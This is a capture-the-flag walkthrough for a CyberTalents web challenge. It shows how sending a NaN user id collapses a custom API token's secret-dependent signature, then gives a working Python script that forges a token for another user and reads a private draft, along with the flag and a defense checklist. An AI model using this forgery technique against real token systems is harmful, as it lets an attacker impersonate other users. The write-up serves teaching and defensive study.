SocialPy CTF Walkthrough — Forging an Authentication Token with NaN
Platform: CyberTalents · Category: Web · Difficulty: Medium
Goal: Read the flag from a private draft post by authenticating as another user.
Challenge
SocialPy is a fictional social network built with Flask. The flag lives in alice’s draft post (id 3, “My draft thoughts”):
This is a draft – only I can see it until I publish. Flag: {flag}
Draft access is enforced everywhere — the feed, profiles, comments, likes and GET /api/posts/<id> all return 404 for drafts not owned by the requester. So the entire challenge reduces to one question: can we authenticate as alice?
The auth surface
The app exposes three authentication mechanisms:
- JWT (HS256) — signed with a secret we don’t know.
- Session cookie — Flask
itsdangerousHMAC-SHA1 over{"user_id": N}, signed with a random per-processSECRET_KEY. - Custom API token — the “integrate from anywhere” feature, and the interesting one.
The API token is the only path that doesn’t require a session. Its format is:
hex(payload_json) + "." + sha256( f"{inner}:{payload_json}" )
where the signature input is computed as:
inner = (API_SECRET ^ user_secret) + user_id
The payload is attacker-controlled JSON: {"sub": <username>, "uid": <user_id>, "iat": <timestamp>}.
Now look closely at the validation logic:
user = User.query.filter_by(username=username).first() # identity from "sub"
expected_sig = _compute_signature(app_sec, user_sec, user_id, payload_str)
The identity comes from sub, but uid — an attacker-supplied value — is folded into the signature computation. The server’s own user_id is never used. That split is the vulnerability.
The bug: NaN collapses the secret
Python’s json.loads (like most parsers) accepts the non-standard JSON literals NaN, Infinity and -Infinity, producing float('nan') and float('inf').
The signature input is:
inner = (API_SECRET ^ user_secret) + uid
Here’s the IEEE-754 magic:
anything + NaN = NaNanything + Infinity = Infinity
So if we submit "uid": NaN, the unknown 1024-bit value API_SECRET ^ user_secret — the one secret we can never recover — collapses into a known constant. f"{inner}" becomes the fixed string "nan":
sig = sha256(("nan:" + payload_str).encode()).hexdigest()
The server recomputes the exact same value, the signatures match, and validate_api_token returns the user named in sub. We can forge a valid token for any username — including alice.
Exploit
import hashlib, json, time, requests
BASE = "http://<target>.cybertalentslabs.com"
def forge(username):
payload = '{"sub":"%s","uid":NaN,"iat":%d}' % (username, int(time.time()))
assert isinstance(json.loads(payload)["uid"], float) # NaN parses
sig = hashlib.sha256(("nan:" + payload).encode()).hexdigest()
return payload.encode().hex() + "." + sig
token = forge("alice")
headers = {"Authorization": "Bearer " + token}
me = requests.get(BASE + "/api/auth/me", headers=headers)
print(me.json()) # alice's profile (id=1)
post = requests.get(BASE + "/api/posts/3", headers=headers)
print(post.json()["body"]) # draft body containing the flag
Result: /api/auth/me returns alice’s profile, and GET /api/posts/3 returns the draft:
Flag{QCFAZldjcFBZTnhzT3p0UFZpSURaZndTbEVSQWRlT2RraEIxbDlCcUpGNXQ4RT02MmY4ZDkyMGJlNWM3NjFk}
Why this worked (the real lesson)
The core flaw is mixing attacker-controlled data into a MAC without constraining its type. Three independent mistakes made it exploitable:
- Identity vs. signature input mismatch —
subdetermines who you are, butuid(also client-supplied) participates in the signature. The server should compute the signature over its own authoritativeuser.idfrom the database, never from the request. - Lenient JSON parsing —
NaN/Infinityare not valid JSON, but Python accepts them. A strict parser (orparse_constant=...raising) would have turned the payload into a hard400. - Unvalidated arithmetic input — even a legitimately-parsed integer
uidis dangerous in this design; the safe pattern is to never let the client influence a value that is added to a secret.
Defense checklist for API token / MAC designs:
- Derive all identity and signing inputs from server-side records.
- Validate field types strictly (reject non-integer
uid, reject non-stringsub). - Use
json.loads(..., parse_constant=lambda x: _raise())or a strict parser. - Prefer HMAC over plain
sha256(secret_material + data)constructions, and never concatenate attacker bytes adjacent to secrets without length separation.
Files
exploit_nan.py— the working exploit (forged alice token)local_exp.py/local_jwt_test.py— local replicas used to confirm the JWT quirk and the NaN collapse
Writeup of a solved CyberTalents web challenge. All attack surface described here is part of the challenge’s intended vulnerable application.